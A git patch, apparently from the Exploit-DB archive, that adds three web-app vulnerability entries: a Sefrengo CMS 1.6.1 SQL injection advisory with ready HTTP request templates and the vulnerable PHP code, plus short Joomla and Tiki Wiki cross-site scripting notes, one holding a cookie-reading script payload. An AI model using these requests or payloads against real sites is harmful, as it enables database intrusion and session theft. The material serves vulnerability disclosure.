From de650067491f381f54ed5e0b22bb3695c2e439d8 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 4 Feb 2015 08:35:57 +0000 Subject: [PATCH] Update: 2015-02-04 3 new exploits --- files.csv | 3 + platforms/php/webapps/35972.txt | 159 ++++++++++++++++++++++++++++++++ platforms/php/webapps/35973.txt | 9 ++ platforms/php/webapps/35974.txt | 9 ++ 4 files changed, 180 insertions(+) create mode 100755 platforms/php/webapps/35972.txt create mode 100755 platforms/php/webapps/35973.txt create mode 100755 platforms/php/webapps/35974.txt diff --git a/files.csv b/files.csv index fda2330dc..838b01057 100755 --- a/files.csv +++ b/files.csv @@ -32402,3 +32402,6 @@ id,file,description,date,author,platform,type,port 35969,platforms/php/webapps/35969.txt,"BlueSoft Social Networking CMS SQL Injection Vulnerability",2011-07-17,Lazmania61,php,webapps,0 35970,platforms/hardware/remote/35970.txt,"Iskratel SI2000 Callisto 821+ Cross Site Request Forgery and HTML Injection Vulnerabilities",2011-07-18,MustLive,hardware,remote,0 35971,platforms/php/webapps/35971.txt,"WordPress bSuite Plugin 4.0.7 Multiple HTML Injection Vulnerabilities",2011-07-11,IHTeam,php,webapps,0 +35972,platforms/php/webapps/35972.txt,"Sefrengo CMS 1.6.1 - Multiple SQL Injection Vulnerabilities",2015-02-02,"ITAS Team",php,webapps,0 +35973,platforms/php/webapps/35973.txt,"Joomla! 1.6.5 and Prior Multiple Cross Site Scripting Vulnerabilities",2011-07-20,"YGN Ethical Hacker Group",php,webapps,0 +35974,platforms/php/webapps/35974.txt,"Tiki Wiki CMS Groupware <= 7.2 'snarf_ajax.php' Cross Site Scripting Vulnerability",2011-07-20,"High-Tech Bridge SA",php,webapps,0 diff --git a/platforms/php/webapps/35972.txt b/platforms/php/webapps/35972.txt new file mode 100755 index 000000000..bd570b7ba --- /dev/null +++ b/platforms/php/webapps/35972.txt @@ -0,0 +1,159 @@ +# Exploit Title: Sefrengo CMS v1.6.1 - Multiple SQL Injection Vulnerabilities +# Google Dork: N/A +# Date: 01/26/2015 +# Exploit Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team (www.itas.vn) +# Vendor Homepage: http://www.sefrengo.org/ +# Software Link: http://forum.sefrengo.org/index.php?showtopic=3368 (https://github.com/sefrengo-cms/sefrengo-1.x/tree/22c0d16bfd715631ed317cc990785ccede478f07) +# Version: Sefrengo CMS v1.6.1 +# Tested on: Linux +# CVE : CVE-2015-1428 + + + +::PROOF OF CONCEPT:: + +Link 1: + + +POST /sefrengo/backend/main.php?idcatside= HTTP/1.1 +Host: itaslab.vn +User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://itaslab.vn/sefrengo/backend/main.php +Cookie: browserspy_js=1; sefrengo=[SQL INJECTION HERE] +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 707 +username=abc&password=abc&Submit=Login+%C2%BB&sid_sniffer=5%2C5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2 +Ctrue%2Cfalse%2Ctrue%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C +false%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse +%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2C1.5%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse +%2Cfalse%2Ctrue%2Ctrue%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse +%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse +%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Cfalse%2Ctrue%2Ctrue%2Cfalse&response= +&area=con + + +- Vulnerable file: /backend/external/phplib/ct_sql.inc +- Vulnerable function: function ac_get_value($id, $name) +- Vulnerable parameter: $id +- Vulnerable code: +function ac_get_value($id, $name) { + global $cms_db; + $this->db->query(sprintf("select val from %s where sid = '%s' and name = '%s'", + $cms_db['sessions'], + $id, + addslashes($name))); + if ($this->db->next_record()) { + $str = $this->db->f("val"); + $str2 = base64_decode( $str ); + + if ( ereg("^".$name.":.*", $str2) ) { + $str = ereg_replace("^".$name.":", "", $str2 ); + } else { + + $str3 = stripslashes( $str ); + + if ( ereg("^".$name.":.*", $str3) ) { + $str = ereg_replace("^".$name.":", "", $str3 ); + } else { + + switch ( $this->encoding_mode ) { + case "slashes": + $str = stripslashes($str); + break; + + case "base64": + default: + $str = base64_decode($str); + } + } + }; + return $str; + }; + return ""; +} + + + +Link 2: + +POST /sefrengo/backend/main.php HTTP/1.1 +Host: research-itasvn.rhcloud.com +User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://itaslab.vn/sefrengo/backend/main.php?area=settings&action=edit&vid=4491 +Cookie: browserspy_js=1; sefrengo=8167bb07461d09b026b28179f7863562 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 112 +value_to_save=45&sefrengo=8167bb07461d09b026b28179f7863562&area=settings&action=save_value&value_id=[SQL INJECTION HERE]&x=6&y=8 + + +- Vulnerable file: /backend/inc/class.values_ct.php +- Vulnerable function: function set_value($mixed) +- Vulnerable parameter: $mixed['id'] +- Vulnerable code: +function set_value($mixed) +{ + global $cms_db, $db; + //build query + + $sql_group = (empty($mixed['group'])) ? 0: ''.$mixed['group']; + $sql_client = (empty($mixed['client'])) ? '': 'AND idclient IN ('. $mixed['client'] .')'; + $sql_lang = (empty($mixed['lang'])) ? '': 'AND idlang IN ('. $mixed['lang'] .')'; + $sql_key = (empty($mixed['key'])) ? '': 'AND V.key1 = "'. $mixed['key'] . '" '; + $sql_key2 = (empty($mixed['key2'])) ? '': 'AND V.key2 = "'. $mixed['key2'] . '" '; + $sql_key3 = (empty($mixed['key3'])) ? '': 'AND V.key3 = "'. $mixed['key3'] . '" '; + $sql_key4 = (empty($mixed['key4'])) ? '': 'AND V.key4 = "'. $mixed['key4'] . '" '; + $sql_id = (empty($mixed['id'])) ? "": "AND V.idvalues = '". $mixed['id'] . "' "; + + + $sql = "SELECT * + FROM ". $cms_db['values'] ." AS V + WHERE V.group_name IN ('$sql_group') + $sql_client $sql_lang + $sql_key $sql_key2 $sql_key3 $sql_key4 $sql_id"; + + //die($sql); + $db -> query($sql); + + $count_rows = $db ->num_rows(); + + if($count_rows > 1){ + echo $sql .'
Fehler in Klasse "cms_value_ct". Es wurde mehr als ein Ergebnis gefunden. Anfrage ist nicht eindeutig'; + exit; + } + elseif($count_rows == 1){ + $db -> next_record(); + $mixed['id'] = $db -> f('idvalues'); + //echo "update"; + $this -> _update_by_id($mixed); + } + else{ + $this -> insert($mixed); + } + +} + +::DISCLOSURE:: ++ 01/08/2015: Send the detail of vulnerabilities to vendor and Vendor confirmed ++ 01/25/2015: Vendor releases patch ++ 01/26/2015: ITAS Team publishes information + +::REFERENCE:: +- Detail and videos: http://www.itas.vn/news/itas-team-found-out-multiple-sql-injection-vulnerabilities-in-sefrengo-cms-v1-6-1-74.html +- https://github.com/sefrengo-cms/sefrengo-1.x/commit/22c0d16bfd715631ed317cc990785ccede478f07 + + + + +::COPYRIGHT:: +Copyright (c) ITAS CORP 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of ITAS CORP. + +::DISCLAIMER:: +THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK. \ No newline at end of file diff --git a/platforms/php/webapps/35973.txt b/platforms/php/webapps/35973.txt new file mode 100755 index 000000000..f8fad7de1 --- /dev/null +++ b/platforms/php/webapps/35973.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/48805/info + +Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Joomla! 1.6.5 and prior are vulnerable. + +http://www.example.com/index.php?option=com_resman&task=list&city= \ No newline at end of file diff --git a/platforms/php/webapps/35974.txt b/platforms/php/webapps/35974.txt new file mode 100755 index 000000000..020d3b75a --- /dev/null +++ b/platforms/php/webapps/35974.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/48806/info + +Tiki Wiki CMS Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Tiki Wiki CMS Groupware 7.0 is vulnerable; other versions may also be affected. + +http://www.example.com/snarf_ajax.php?url=1&ajax=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file